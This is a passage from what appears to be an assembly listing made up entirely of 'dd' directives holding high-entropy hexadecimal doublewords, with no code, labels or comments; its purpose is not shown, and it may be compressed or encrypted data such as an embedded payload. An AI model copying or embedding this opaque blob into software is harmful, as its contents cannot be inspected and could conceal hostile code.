51EF3DB3h, 92560094h, 34ACEC43h, 2E00F01Ch dd 0D690C84Ch, 0F7C98Bh, 115E1895h, 493C4132h, 7AE6D800h dd 75D3776h, 0C69100ADh, 0CB553EB9h, 18189983h, 0EA22BB6h dd 25770138h, 0AC3EA84Ch, 0FC81F580h, 65000F04h, 7063FB8h dd 0F526D6h, 71860E45h, 83759713h, 3C445D58h, 0B72480B2h dd 0ACC30969h, 0C8B067A5h dd 0FC778036h, 6C1FCF3Bh, 6DC0B870h, 4DAD1373h, 7BF30FD7h dd 0E8234A11h, 0FAD0434Eh, 0BF609F82h, 67FCA510h, 81061FFBh dd 92D581DDh, 0F4188B89h, 3700930Bh, 0CBC87EACh, 0D5106h dd 0A0D46DF2h, 0E68711E0h, 735B4800h, 5D0E1DABh, 0B904000Ch dd 293EDF89h, 0B13F6A2Eh, 16540014h, 8FE98B2Ch, 4BA5053Dh dd 39B79BFh, 26F0AB95h, 0C4640698h, 8E08700h, 6C8427AAh dd 0A3110122h, 0EE13541Ah, 0A00FF0BCh, 0CBFA5E00h, 33C8A758h dd 0BFB807C5h, 600C1952h, 707D9721h, 0E467E901h, 43B663D4h dd 3040EE70h, 0CEEC2A89h, 2926FE9Bh, 440041EAh, 0BCB8A5DDh dd 799303C0h, 78BB4854h, 3857D398h, 6BB0AD00h, 94081625h dd 0C9C400CBh, 207143C1h, 15E82492h, 0C3C9A00h, 6D1B0E27h dd 0AB4E0046h, 0CD5DA738h, 9F0F88B9h, 414FDAA8h, 561C2F65h dd 59F036F1h, 48580739h, 0E240EB2h, 0C0C025E4h, 98907038h dd 6D00B077h, 401889F2h, 5BFFCFh, 0B281E917h, 0F69EAB15h dd 3CD4DD00h, 4138F267h, 1A9C0310h, 0EF665D1Bh, 8D154CA8h dd 0DF5B5801h, 383D72DBh, 3CE0460h, 5DB2A356h, 6D80AD9Ch dd 0E300E844h, 19DDF60h, 3704D0Fh, 0F5A42A68h, 0EBC86728h dd 0E9F49A8Ch, 0E6D27A0Bh, 202E0E6Bh, 0C9733D7Dh, 7CF63EF2h dd 0EA6F900h, 4C055E7Fh, 35475100h, 0CA2C09CFh, 71E477D6h dd 0B78D0136h, 55141A32h, 0A2E87049h, 4009B75h, 0D9E79492h dd 136AF87Dh, 0FA84E19h, 9080FB9Fh, 1B76ABDAh, 0CB843303h dd 0B05C9746h, 0C03065h, 31D81AEEh, 235E7B74h, 801BD93Ah dd 2C529463h, 1B3BFD3h, 0FCD8D1EAh, 2013EEFDh, 0EC0058C4h dd 0D612D7BBh, 0E7DCAC4h, 0BAEF6940h, 0BD7E5A20h, 703AF6Fh dd 34B70FA8h, 0ECB8A817h, 0D8E00FFh, 84A63C7Fh, 0B101443Bh dd 0BE299035h, 10F0E9AEh, 0E0E237h, 6C176FF8h, 962FD786h dd 89343B1Ch, 1B1EEA40h, 1A3C56Eh, 0D3B0B97Eh, 0C41A7A87h dd 6700AB59h, 0CB9F3134h, 169DA8h, 7330D4D2h, 2A2B55D1h dd 1E446300h, 0AE7CEF3Ch, 0B35C00FAh, 46CF58E4h, 4E90D55Eh dd 0F22EB800h, 8CAE8FBBh, 0B5A50045h, 0DD7F10A7h, 0F8386E1Dh dd 67AF2C38h, 97A5B0Fh, 0F39B8054h, 0D4123Bh, 2077E1F2h dd 0C2C656DDh, 1306B600h, 0FC825CF7h, 9DE700D3h, 7664F455h dd 49F215C7h, 5302E200h, 4A8EB487h, 0D0FCEDh, 9EE6A098h dd 0CC8F944h, 0A1560500h, 27DD63A9h, 0A70D0197h, 0C321395Ch dd 5058E095h, 0CC0161ECh, 0F51DCDABh, 4BF07817h, 0DC82079Ah dd 0A708C305h, 0BBA960EBh, 0B40007F2h, 92A00318h, 7A8367h dd 91A1ECA5h, 0D7B4A38h, 0DE57D201h, 2CC27677h, 39F4CFDDh dd 0A5FD003Eh, 0E6D59690h, 0FC001419h, 0ADAA79E2h, 94BF93h dd 2E35A677h, 0DA535F10h, 4CF06B12h, 630067ECh, 4505D9DFh dd 201F69A6h, 97D2D5EEh, 857F2E00h, 9D066Eh, 381236D1h dd 81F1240Ah, 0E30E8801h, 0D1C1BE8h, 18AE71F8h, 0D47C7499h dd 6D721E6Bh, 373C562Eh, 807D800Fh, 7779E1Fh, 0FBDC02AAh dd 0DE0995C5h, 0F7B018E3h, 0D5F8A96Dh, 0C4465500h, 2E0E3821h dd 72D70008h, 1A4CD66Fh, 1B263196h, 7300E11Fh, 422B9EB2h dd 7B1878F2h, 9B5A005Dh, 0C8BE926Eh, 0D900A7DCh, 0FB552C07h dd 846204h, 0E967246Fh, 9DEB5D89h, 9902DA00h, 0A9195A55h dd 1BF4C6h, 0E52EA773h, 156E957h, 9307D8EEh, 0DECAB31Eh dd 87E665D0h, 10DD07B6h, 80C3818Ah, 1EC2F6EBh, 7C5B4F07h dd 136076E8h, 36E89B5h, 0FBEED3DDh, 881D5037h, 0A0414C99h dd 0C007BFE9h, 199549E5h, 0FE0455h, 0DB3C163h, 4F5447h dd 1B483233h, 6434C29Ch, 7F304674h, 0B78C3098h, 9438CA4Ch dd 93010FA0h, 67A5258Eh, 5034784Dh, 9E100156h, 5C062DC7h dd 91FC60FEh, 262E17h, 0D7D4A5D9h, 0AC14A2AEh, 1201D60Ch dd 220E1807h, 9643AFBCh, 1808C014h, 8AF66210h, 3A880C20h dd 27343F5h, 0CF6790E7h, 650E99C1h, 43D0C64h, 0C548E1A9h dd 11B57662h, 42880CF9h, 88DD21B2h, 0A941B753h, 7126211h dd 32F130A4h, 3524A29Ah, 0F908156Dh, 185942A7h, 5D240C85h dd 2124EA18h, 5115B477h, 6BA8100Ch, 8824CD8Ah, 0A14569F7h dd 845E3C4Ah, 7C19A566h, 172D1106h, 615E36E7h, 4E352118h dd 0B0F10218h, 2A8E0757h, 9080FB36h, 0A1769C8Fh, 22422100h dd 496C81C0h, 0A48D0E1Ch, 0FB00D978h, 243BFD83h, 4AE063E6h dd 0FEB27D12h, 4017610Ch, 3FA0080h, 0EDEFF105h, 0DC30983Ah dd 0D50F71D0h, 18F060BEh, 0F8C6B07Ah, 91AC7E00h, 0A3A4E748h dd 687518D4h, 0F7CF3101h, 96C6E906h, 0CA093E0h, 0F3D1FE8Bh dd 0D3182A88h, 25A80ED6h, 0DCDB1D6Eh, 885918F0h, 9675F427h dd 8F1C4AFDh, 44FCE08Bh, 0A3A072EFh, 1960CF58h, 0CE1F0F8h dd 963FB5BDh, 790C9F50h, 58ED36F3h, 768888DDh, 21F2E900h dd 0CE5A9C8Eh, 0E04C00A1h, 3BFA857h, 0C8A95D77h, 0E86FE199h dd 0D8C0C2A7h, 0ABF7FDC9h, 982F1494h, 9F02142Ch, 0FF37DFF1h dd 0A8B83493h, 99F8E117h, 453F9F00h, 0F58A4FE6h, 90C0A024h dd 7ECE3027h, 7DF99AF8h, 679EA200h, 0F81A4E85h, 1C840F2Dh dd 0C7D56E5h, 2EB8CD64h, 79C2850h, 0BD2BBE18h, 0CB3D98h dd 0BF2D09F6h, 0EB2E8866h, 0F470082Ah, 89CE8B00h, 5F20D429h dd 0B5283147h, 40D8FF18h, 7ED02168h, 402DA229h, 90D21F60h dd 0C8E754F4h, 6F58009Ah, 0AD5B608Eh, 651DFBEDh, 9829FA5h dd 0A789CFBEh, 60F1EC0h, 30109347h, 17F18727h, 9060418Ah dd 0B0AC9588h, 36C7486Fh, 0B9859418h, 9A28973Bh, 0F0759C6Bh dd 908F9C5h, 0F218101Bh, 53E48A25h, 324FED03h, 72C3A7A9h dd 2C312917h, 0CC8D4184h, 1F27D845h, 0AA023C92h, 77C3BB2Ch dd 924A4167h, 12CC1989h, 0F8F91801h, 8B488963h, 0C7C102Ch dd 0C70324EDh, 53FD00F0h, 0CDF89EDBh, 6235427Ah, 480218B3h dd 1807DB7h, 80289511h, 42936EA0h, 0A45C098Dh, 41F76084h dd 97D57176h, 0B4E79F00h, 5C392BBFh, 24549092h, 34C5E81h dd 8D50F594h, 0BEFCC7E0h, 40DCD5A1h, 83EDB580h, 0E049697Ah dd 1B3D03ACh, 0A8B44AB9h, 7082894h, 5C540996h, 0D7BF228Eh dd 99689844h, 3E3FA420h, 48704DD8h, 21D2208h, 25B3D27Fh dd 346887FBh, 437C26B5h, 0AD0498A0h, 0B0945D50h, 1BF42D48h dd 0BBE9A632h, 0C770011Fh, 0A05EAAAFh, 6E305CD3h, 4582D221h dd 4FC842BEh, 0E8AE5B9Ah, 0F4BF442h, 5D131068h, 0AF30E960h dd 900747DFh, 50A670BBh, 4DBFB8EDh, 0A3009C5Fh, 0E23F293Ah dd 79097322h, 18947520h, 8A89DCh, 24C971BCh, 0B1BDC3B0h dd 0BE65F608h, 0FE863A53h, 514DD2F0h, 5CB52A03h, 0A37B66E1h dd 0A004A5E7h, 10C8685Dh, 0AF7C010Fh, 0B1179EE3h, 0BB343020h dd 2227CC0Fh, 1C4260B6h, 3F6EA646h, 0C3016B82h, 97CEF890h dd 8C65EA3Bh, 0CB4AB84h, 0E41AD640h, 514891F9h, 480EA050h dd 425E0AFDh, 81485C32h, 98F776EDh, 2C40FA27h, 0EC00CC42h dd 6A73B21Fh, 188F0D54h, 0F083E909h, 563B29D7h, 364D07D9h dd 16302CBEh, 59AF89BDh, 0AC048FCh, 5181C14Bh, 0F9D8604h dd 8490504Eh, 5453AC6Eh, 3254E495h, 0B1B164E0h, 30D26D00h dd 17D701C9h, 0E64C73DFh, 0FC70DCA1h, 60100A6Eh, 3EC7C44Eh dd 9C7862h, 41D3A489h, 58146D64h, 0CB96FE00h, 54623DFBh dd 8937008Dh, 0EDD26CFDh, 1B3FD6C7h, 0AA6A8C15h, 0F9EE3170h dd 0DED11D13h, 0AE6881D7h dd 0CC7F8B44h, 0F04E2980h, 7442B17Ch, 0E8F22F00h, 3A320D9h dd 52E30183h, 0C7C085F7h, 7F42D017h, 32C32A01h, 388A5E5Bh dd 14F65FDCh, 8B51EFDh, 0EC234E20h, 80C51185h, 0AB5516C1h dd 0D1DD06E6h, 8DE24A9h, 0FA341C06h, 783D15h, 4CAD0A38h dd 30099DC4h, 1787C202h, 40C1DE91h, 373BD30h, 0C75F1E46h dd 0D232D388h, 83F769F5h, 0C8B83004h, 60B05DC6h, 0D286182Bh dd 2D01BA0Ah, 6A98F677h, 0A8207A93h, 7BBE0C1Fh, 2149A371h dd 0EEAAD3Bh, 60880D7Fh, 80BE4696h, 5F60074h, 0D9A051E9h dd 5A00D8E4h, 9D6CE62h, 197B34C9h, 7198E815h, 5422D838h dd 43715700h, 4C62B574h, 3E6C00F5h, 5B35D12Ah, 0B0C08810h dd 399AE9F2h, 0B04E01E3h, 669128CBh, 5FD04005h, 7B60826Ah dd 61D59AD9h, 39EA0C37h, 20515A24h, 14B97F00h, 173D85A2h dd 313F0F22h, 1FA053h, 16430C10h, 0DC294F84h, 708D3093h dd 4808B141h, 799009Bh, 54B6C6DEh, 120C936h, 0DBBB0304h dd 5998B420h, 0D6D3905h, 0C05F316Ch, 70180A9h, 3D76174h dd 80B73880h, 0BDB54D17h, 81B36502h, 27638F3Eh, 608BC098h dd 0BB00A6A2h, 5C888D55h, 689785C8h, 0ECF098EBh, 0BF0A4E09h dd 0CC8E6AAh, 3008D1F6h, 0D901A8A1h, 0A69CDCC6h, 82417909h dd 98080062h, 0A0BA104Dh, 8477660Ch, 9FA21F11h, 85757A10h dd 1808B167h, 447265B2h, 21769624h, 0C41BB6Bh, 0F708818Eh dd 2210B842h, 84E88463h, 8879A21h, 10AC426Dh, 0E84907Eh dd 885221B7h, 0AD429B08h, 8A893610h, 8A98306Ch, 2815DC49h dd 1D40C89h, 53B2DF6Fh, 22EA5B06h, 0FC7F8688h, 80A313F4h dd 0F720404Fh, 0DA4B3E02h, 7B4EB400h, 0F256F26h, 8C1380F5h dd 99A5B005h, 0C80CC53Fh, 0E710827h, 3EE08231h, 0ECE6A41h dd 20BBE1B6h, 0CD4C0F23h, 0C23A0075h, 3BE54D10h, 0BD4C04FCh dd 0D0F59FB9h, 0BFDA9910h, 0D9DECB1Dh, 86D8CDC5h, 0E5374C30h dd 88EA602Eh, 81C81109h, 0F07F7526h, 0CF313400h, 7A431706h dd 0B0630F8Dh, 0C4C00E67h, 0F88C19E7h, 74536E00h, 2617D49Fh dd 488601A6h, 49E0C892h, 12F1C459h, 1CACA7F2h, 0C3806846h dd 64EF5D3h, 84ACEC00h, 7C58FC0Bh, 65F43E33h, 0BC439492h dd 0DDDA0015h, 7187749Dh, 3C38F8F0h, 7F407A4h, 2515E7FEh dd 8648FC9Fh, 14337F28h, 9A8ED40Fh, 0FB885Eh, 48AE5A54h dd 0C60ECAE3h, 8ECC0440h, 5CE91EB5h, 9ABE2980h, 1F85005h dd 0D565FA94h, 3E75062Bh, 20E3A0h, 48683B01h, 9750837Ah dd 7FF33Ch, 42D37C93h, 0CE0C152Eh, 8CE06689h, 704C6B55h dd 0A79E750Fh, 521BC694h, 0F2148040h, 0CCF40116h, 7573DE90h dd 8858D1E7h, 76ACBBB0h, 41704421h, 0CC694F95h, 0D1070AADh dd 0AC80E29Ch, 10BE6B0h, 362B8ABh, 0D4E1C5CBh, 283F9B48h dd 80C4805Ah, 0C60722DDh, 0CB3F07BAh, 0F01A48B6h, 0AAA65D67h dd 66C1800Fh, 0E247E317h, 0E6100CCFh, 0C408785Bh, 4D255700h dd 17FC6A01h, 0EC31C0C6h, 5F8F6368h, 953F8307h, 3BBD507h dd 0B0707F98h, 7C6E02Ch, 48B82E18h, 4229607Eh, 0DB005AF5h dd 0DC9D464Ah, 3B9B47C1h, 2C984E7Fh, 4AA4718Bh, 78286100h dd 0C0AAECEAh, 0D44706DAh, 0D0E70124h, 200C417Bh, 10D9D56Ah dd 1EB530C1h, 418DF541h, 0CC2A2490h, 98018046h, 0ACC390F9h dd 670128D1h, 899442C0h, 98B0ACBFh, 0B0133A0Bh, 0B44E07CCh dd 0CF43B104h, 0DB95D620h, 101F702Dh, 0C7402A22h, 539D8438h dd 91B61456h, 15AB449Ah, 84CE99h, 0C23440EFh, 584C61Eh dd 0F5058AB1h, 758A805Bh, 2500F146h, 4C266F8h, 7FE19Fh dd 6248A667h, 7D8D9ED9h, 1EFC345Bh, 58D40900h, 610C9D01h dd 83D0F900h, 0B39CA9C1h, 182201DEh, 0DA48C6EBh, 0F3309B03h dd 0C1910028h, 78BA2A1Ah, 9802AAFDh, 9FD2FA53h, 14F8C25Fh dd 91D53884h, 66D2C180h, 61B10547h, 0F8001EE6h, 3A64153h dd 7F5E403Ch, 37E60339h, 2F4F28FEh, 7D95BA90h, 0C0427E0Eh dd 40CE621Ch, 30E600ABh, 0AC0045B1h, 0DB698B2Ah, 28DAB709h dd 21D0165Fh, 56004D97h, 0B8EBA48Dh, 9B5098Ch, 6415B0C0h dd 415667E0h, 0C8BD509Ch, 1B051D03h, 90B0C0E2h, 0B1AC5938h dd 2B4FC501h, 580B33B8h, 24913CD0h, 0E00C5488h, 0D9B159BEh dd 0A39EAB0Fh, 18B200B5h, 1F47A14Ah, 60ED515h, 28AC5267h dd 916D5A07h, 9D2188A3h, 0CEFC965Eh, 0DBF21D4Eh, 0F04780ECh dd 0AB863B73h, 7280701Eh, 5CF5E580h, 67C53Ah, 0AFC8CA62h dd 0A08D5229h, 1EA30A3Ch, 0E440A850h, 9587D038h, 3A5D1020h dd 0A7160AFh, 1EEF98h, 17E88CD9h, 76402680h, 87FD5C07h dd 50B09568h, 0BF707Ch, 9AB4C2F4h, 9733EC91h, 980D38C2h dd 944497E8h, 84003C63h, 417BBECCh, 4F0F9EF0h, 8298D8B6h dd 9820916Eh, 0CA43190h, 56976E8h, 77E09D21h, 8A00DF0h dd 6A11044Bh, 6630A37Ah, 9CD3320h, 0EBE01381h, 1B64849Eh dd 0A8439F10h, 98075B3Fh, 0D73AC5ECh, 20F00386h, 0C8009887h dd 10E3B84Ch, 1DDA6C97h, 63782BDh, 0D06B8BCBh, 49964712h dd 0CC0E0E00h, 0DFEC4Eh, 0F7B8AA4Fh, 0D5893417h, 80E8B23Fh dd 0CCADBAFEh, 609FB45Eh, 0FC9D843Dh, 0A60A76D1h, 0F4D946C3h dd 26C03A1Dh, 0D63E3222h, 0AEF70090h, 0B5B13409h, 6E0053CDh dd 0CBA179DEh, 96CF52h, 8165C89Fh, 6A41DA73h, 48E5D730h dd 7F556CDEh, 39CE67CFh, 311A2067h, 9C3C15DFh, 13BF0F16h dd 96CD8356h, 73BC398h, 0A9A74548h, 0C739CCACh, 2A03C5F8h dd 0EAB4389Ah, 0A1BC83ABh, 2081D018h, 0B6C59646h, 0CF3EC411h dd 9755A700h, 86359E3Ch, 496660ACh, 74FE500Ah, 75F9AA50h dd 7BE35212h, 84C46F00h, 0E4AC6Eh, 773EE2F1h, 0D21E7599h dd 644420D0h, 6860A498h, 0B47031C5h, 0C330BC43h, 0C5602721h dd 80789739h, 14D43E8Bh, 17998C9h, 43E48638h, 3015DD66h dd 0A83070B1h, 413D18FDh, 0F3C001F8h, 0F591A752h, 73ADF856h dd 3714B201h, 2931EB5Ah, 3F180E8h, 98CC0F6Ch, 84A467C8h dd 0B180802Fh, 8200D341h, 80E51C4Ch, 0D57D6Bh, 0C5DB5410h dd 0F70DB59Eh, 51CC3700h, 0F94AFB99h, 0D2A00EF4h, 21A097B3h dd 8431903Bh, 53604100h, 0A42C65B5h, 0FF190028h, 0AD67F0F5h dd 0F300A8D0h, 0E4157E84h, 0EFB05Ch, 0D1B0210h, 3A6C4699h dd 13005771h, 2D8D9267h, 74C4F32h, 3E04D328h, 3A05852Eh dd 39670C04h, 81036h, 0B9290B4Ch, 0A2E6FE04h, 49BC1C07h dd 0A0FE35CDh, 0A64F3CCBh, 0B8E80058h, 8C1B61D9h, 0DB00A410h dd 42288637h, 7418694Ah, 5FB003Ah, 9321F2C2h, 480F6E77h dd 20105E36h, 3E3A781Ah, 398B7B09h, 79790188h, 0BCE73803h dd 0B9B1CA8Eh, 650C6C00h, 0B760CE29h, 0CC5B11E4h, 0F77D0014h dd 16D8A288h, 0F9FE7A92h, 8DCFBA0Eh, 0F69CA0C8h, 387538E3h dd 5E03DBF7h, 60CC9594h, 6880BABh, 8B00207Dh, 336D6C8Ah dd 9287Ah, 0FB1A1E48h, 5569E10Ah, 0E0D3E00h, 0A66CF670h dd 0D8D102F9h, 956B5F2Dh, 6A3C5E60h, 4B24C400h, 56507FEFh dd 40330118h, 0A18C80CBh, 27C607Ch, 0FFCA591Fh, 0C1A5F707h dd 0F22FEF30h, 75090060h, 0F951CD3Ah, 660A17C4h, 0C43D5CB9h dd 0C074E50Fh, 0C57F09B6h, 0BDE9001Bh, 0FFEB2CAh, 3C01DF9Dh dd 644ACF9Fh, 0E4502D42h, 0FB5F995Ch, 3893F8h, 0CD4DF9C6h dd 356E96FDh, 76B7B00h, 4998508Ch, 4F4E00FFh, 3C45286Ch dd 2C0790C7h, 0E34C272Ah dd 2E154970h, 0F37717h, 59A7E2A9h, 93DC2B84h, 0FE08A501h dd 6DB46BF9h, 482B70h, 0EC5A511Ch, 9D2943E5h, 0BF562E00h dd 636F2685h, 0BACB0FD3h, 52806B3Eh, 413612A3h, 51259600h dd 27E4471Ah, 13E900BFh, 44E55FF9h, 0AB60536Eh, 0F1E8BEF1h dd 33033FB0h, 0CE32DB80h, 0B44D304Ch, 0CF9BC900h, 0EC79E9C0h dd 1798F8B8h, 1D22AEF6h, 94594C16h, 2003DEB0h, 2FC53C16h dd 0F721D9E3h, 172B1D4h, 79B7F2C8h, 0F249EE64h, 9930A480h dd 2E00203Bh, 6F623C61h, 6A9D033h, 0D6B8935Eh, 6E00C0F8h dd 53F3617Dh, 13238388h, 0E2AEADh, 7AE7BEA9h, 640008C0h dd 9F094241h, 11D31Dh, 0A54C4D2h, 0E9C85A9Ah, 33F74700h dd 4B5F655Ch, 26D13020h, 5A4225B0h, 0D376BA00h, 4468D975h dd 0C04E0009h, 0ED85573Ch, 88008ED8h, 1704FE26h, 0E1E654Ch dd 0CFF5918h, 6E8D95E0h, 640C7C4Fh, 0D836E770h, 75A40002h dd 8EB33C6Ah, 8000D852h, 865CDDE8h, 0F8F1FDh, 0BA4D8D58h dd 75ECC499h, 37AD2F00h, 0AD816EDh, 0B8C94E15h, 0F0074DFh dd 0B907380Dh, 44F93Dh, 0C3CD5A9Fh, 4878B18h, 9E31A901h dd 0B9EAB786h, 0B011E443h, 3AE7AF0h, 9213E7EFh, 67E81E5Eh dd 9009A65h, 732B88FDh, 0C76B1F2h, 2E54E6F3h, 280FF411h dd 184960Dh, 0D9DF660Ah, 4B979424h, 7473FC76h, 52B71907h dd 51D075DEh, 1ECA05Ch, 17622A72h, 80D0F38Bh, 0F4D8E588h dd 3FACDB0h, 263B2D2Eh, 6804A872h, 0D842FB8h, 4370EC87h dd 1EE4DE15h, 81A6E23Ch, 297C3873h, 0ECE44004h, 9000FD7Fh dd 8BD45E0h, 4287DA1h, 3606488Ch, 0C35FC4E6h, 2FE84FE9h dd 3C00CD93h, 7AEF380h, 0E6BA98A2h, 0C3240ED1h, 6206B1Dh dd 44BB93BDh, 20EFCE00h, 0F15A774Dh, 89E63Ah, 40CA81C5h dd 731A7BEh, 0C301C2F0h, 7A5C3B11h, 8850ACAFh, 590CE7h dd 0A8CCEFB4h, 0FD7928F0h, 0BA199513h, 2005C400h, 184DB5h dd 0C426AFD6h, 9879CC58h, 9E703800h, 0BA20EE9Ah, 0DCAA1941h dd 0D80F3034h, 0C006435h, 242C29CBh, 7517C5A3h, 85FC00E3h dd 31F3C4Bh, 0C700F306h, 0F74E4A39h, 170E32h, 0D68F2787h dd 0F65B7815h, 2652ED01h, 0C0287748h, 0A54B8C40h, 43E0159h dd 0A742A1E2h, 30683580h, 900093D3h, 7C23DCB8h, 14C9CC52h dd 80111D4h, 29275700h, 0D7468854h, 9882A426h, 1A7EB205h dd 175C53C0h, 5F090438h, 906A782Fh, 9F559C28h, 2A81A300h dd 76020864h, 98C97D87h, 0C68901E0h, 4304A950h, 0ADB06491h dd 2C590F00h, 25BD69DDh, 0C079FAA0h, 6DF4CA41h, 1503EC09h dd 8B703921h, 0AA9188B6h, 81BF007Eh, 0BE52E254h, 0FE000CE1h dd 0C2826432h, 392926h, 2B22A074h, 84ED5085h, 709BE900h dd 0A558D8FCh, 533E004h, 877DF064h, 0E3C3C7F4h, 0B58A5B0Fh dd 0E3663AC0h, 0D3C9A61Ch, 6449F7C0h, 0D1EDFCh, 27770DD2h dd 3623120h, 0AB00FFFCh, 9F614EA5h, 0AD997Ah, 131A0539h dd 0A0174A68h, 0C810B900h, 0A4D87838h, 0BA650FCEh, 0BFCAA1Dh dd 0E400F37Ah, 4DE70D1Fh, 0E557D600h, 4ADD2646h, 0B1290302h dd 0E4B6CF47h, 9D07287Ah, 0D1F2ECEDh, 0DAC0DF5Eh, 0C374106Ah dd 4E6B0036h, 9B9F96F6h, 0FFFEA859h, 0D0342800h, 0C549B882h dd 60AA00B0h, 6625ADDCh, 6D01DDC3h, 46A8170Fh, 0C460FE1Fh dd 6AE002AFh, 0BCE4BDEh, 90AEBD40h, 0DC63601h, 6887515Fh dd 0CC4B1D4h, 3372296Fh, 0AC38D148h, 0A31B9E32h, 47510B83h dd 709CE8A9h, 0A4384896h, 9BB6C000h, 527F4B8Dh, 1164C00h dd 0C9DA333Bh, 0C3A0A0EAh, 8FA400FAh, 41B6C75Ah, 2E0EEFBDh dd 40ED95AEh, 76AA9D4Fh, 1537012Fh, 0ED207D7h, 360CC44Eh dd 6E11B300h, 9F1C0F3Dh, 1ED79CAh, 590339C2h, 202FC46Bh dd 0D9E0A580h, 1EF46C02h, 409B3531h, 3F3F3D5Eh, 2873943h dd 87328F18h, 0FC468063h, 0D903480Ch, 2658F32Dh, 0FE8898B5h dd 8B3B39F6h, 285C7000h, 480E5B5Ah, 0B6C99900h, 0A955F018h dd 6209852h, 6BD16987h, 2FF0803Ah, 0BE11B71Fh, 0C9E68F80h dd 3B2C52FCh, 0CC0D6AC4h, 6440B24Eh, 7800AB40h, 15F40C80h dd 58AC49F8h, 3B00C844h, 43A59903h, 5E036863h, 70D69A14h dd 0CA28C0ACh, 507B49h, 55C5C891h, 6844AD77h, 0B0FF241Fh dd 0D5CA8F40h, 9C5E65h, 0AC666E1Fh, 0F29F8CEEh, 0C6A32A00h dd 6AEBAB3Eh, 0E08F0665h, 0FE2BD039h, 66C2691Eh, 9F047987h dd 0D91E00CFh, 73B8895Eh, 32E443h, 0FE5C3712h, 827DAF5h dd 78912C00h, 2F4492D6h, 0D3100189h, 75AB283Dh, 2B0EFC7Bh dd 4B0B6276h, 0BC029Fh, 0E3DE609Eh, 39BE806h, 0CEAA67F0h dd 6A8987EDh, 820DD952h, 35B54694h, 65AC8022h, 3A61849Eh dd 0BA8E5730h, 29A03694h, 0E5072AB5h, 0A29CA400h, 2013E1A0h dd 0A64F003Dh, 370C7DF4h, 0B603DBB3h, 2C4CD70Dh, 0E057A7FCh dd 6FEFCC60h, 75F218CEh, 534F6001h, 57569C03h, 0A8AAA8BCh dd 92A604Ah, 0C8E8120Bh, 15476C21h, 40F221B3h, 0E182072Eh dd 5E0F57EEh, 0C0385D3Fh, 13F34EC9h, 6C920065h, 0B6A7499Ch dd 5709AE36h, 613B715Fh, 0D121EA24h, 0B0B0884Bh, 4C39DE41h dd 9D1A80EFh, 14581885h, 8A86047Bh, 0B25602BAh, 2F77E070h dd 31B73220h, 1760EC51h, 4E901591h, 0FC6C0407h, 0D04059C1h dd 3E8844A8h, 9896D48h, 0DC8F5251h, 46890B60h, 846395A6h dd 0D98D3738h, 106462FEh, 17C40F54h, 5B4F9A3Dh, 694F2018h dd 65890662h, 1E47497h, 548BC9B1h, 710893ADh, 0FF233840h dd 0ACD6Dh, 941383E4h, 9BD9812Fh, 2DA9661Ch, 0D64CEF40h dd 6F16631Fh, 11C8D03Bh, 0B5567031h, 8EF139CFh, 3F601300h dd 0F6F13393h, 2465F23Ah, 0E580408Fh, 0FD694845h, 0AAC21828h dd 6EF9198Bh, 0CD9D800h, 0B8AE8830h, 0E19A0369h, 8D3C3F87h dd 0FF36823h, 0C87F12F9h, 0BC6291BBh, 480002Fh, 120E9913h dd 3782DCDh, 0C0E6A461h, 0F706FFBh, 0B08F0DC2h, 37B782C2h dd 459ED8A0h, 0A242A78h, 0B21FD984h, 689108F2h, 1C2FE34h dd 18C0ED76h, 409698CBh, 4CF54C8h, 0F93E59E6h, 87701827h dd 616FBC18h, 2DB490B5h, 4E34487Fh, 0A317804h, 3C331D4Ch dd 87F3210Ch, 91F876h, 3911AE50h, 0D5EFFA28h, 312E98A9h dd 4C8DCDD8h, 28C55C4h, 3F611357h, 7919664Bh, 4882EE10h dd 6C416706h, 0AB09A01h, 276D064Eh, 743E02F8h, 88093F79h dd 1E8C80A5h, 4C854003h, 8280D442h, 36AD8429h, 44C011DDh dd 2760ECC2h, 0AEBD00A5h, 0A869A198h, 780110F7h, 84F91C14h dd 18899987h, 44219890h, 0E8856FA0h, 5C526083h, 2279F1F8h dd 0ED122B0Ch, 0B04E5106h, 0B889CFB2h, 391B4DD0h, 2C8A8445h dd 87B43259h, 11630D11h, 3018C265h, 0EB5098DAh, 6C2A3EA8h dd 5A02E481h, 6414C432h, 24B484AEh, 62134060h, 29033F23h dd 7F370044h, 6AAE7748h, 2126DA00h, 3FFCA1D2h, 326B28BCh dd 845E09B0h, 88E92E35h, 0D6EC2463h, 9C2BB13Fh, 0F403CEE1h dd 1EE7A505h, 1F013592h, 0E882BB19h, 3E84B28Dh, 85C49447h dd 0FAE5B260h, 0EDCBC60Bh, 0F4588ACEh, 12EB9742h, 0D80C0B5h dd 0B7FC7101h, 3A7A135Ah, 0A04C0AADh, 27BE80F8h, 0FE8688F0h dd 51404D00h, 2A3C2873h, 5E4C0063h, 61BE59BAh, 0C41D0A6Eh dd 8C11422Bh, 20B4A913h, 0A10E4E80h, 40F42E51h, 15ADACCCh dd 0CE42A800h, 7EB59A09h, 14A3002Ch, 286AE5D7h, 0F80EBFEAh dd 8680EE67h, 7B20CE11h dd 3DEC00E1h, 0D652E6D0h, 0F11CC6CDh, 72DE3B5Fh, 0EC40B71Fh dd 2BBE605Ah, 0F0B403A3h, 74C2F32Ch, 0DE004078h, 4951ED04h dd 37E057DAh, 5C08DBF1h, 9B03BE21h, 0EA34F7EFh, 0FB64E84Fh dd 0C4F259h, 0AF3CC6F2h, 8FA3AB9Bh, 0CFE8460Ch, 6CA18D7h dd 3DBF192Ah, 9C0010DAh, 0A0AF3B75h, 1D1B6116h, 0D5E4AEFh dd 0F5202A98h, 0F58D60DDh, 1A3FA107h, 69D008D4h, 30DEA872h dd 0D659A2BFh, 0FF078F63h, 423F427h, 5AC99F30h, 7C6D0030h dd 88A27ACFh, 4B009A36h, 4DB6BA49h, 51666A3h, 6E942029h dd 9128039h, 0EC00D108h, 0FF437D1Bh, 30CBA59Eh, 0FCC8897Ch dd 2400FAF7h, 0F241ABDCh, 0C0D04D94h, 10E83AF1h, 741FA593h dd 54E68A6h, 2AB9867Ah, 0D0480020h, 4BD3E210h, 6A00699Ah dd 0F512CDFCh, 7E5CDCCBh, 0F4E9EAE8h, 78CE00F9h, 0B59D3C2Dh dd 507B947h, 23B7DEEBh, 0E0894AC3h, 74462B6Ah, 4D1A0ADBh dd 7A83CC7h, 40481201h, 0AD1EB268h, 0A619D160h, 0F4CF97F1h dd 46EE07B0h, 163EA850h, 85732118h, 56769700h, 0BC38B3ABh dd 0E3A914A6h, 79B8C0h, 0EA04832Ah, 685123CBh, 0F3F43B2Eh dd 52DBC603h, 0DAE009F5h, 86008C12h, 0ECE73C1h, 9D86891Dh dd 5A11118h, 872E009Bh, 45699051h, 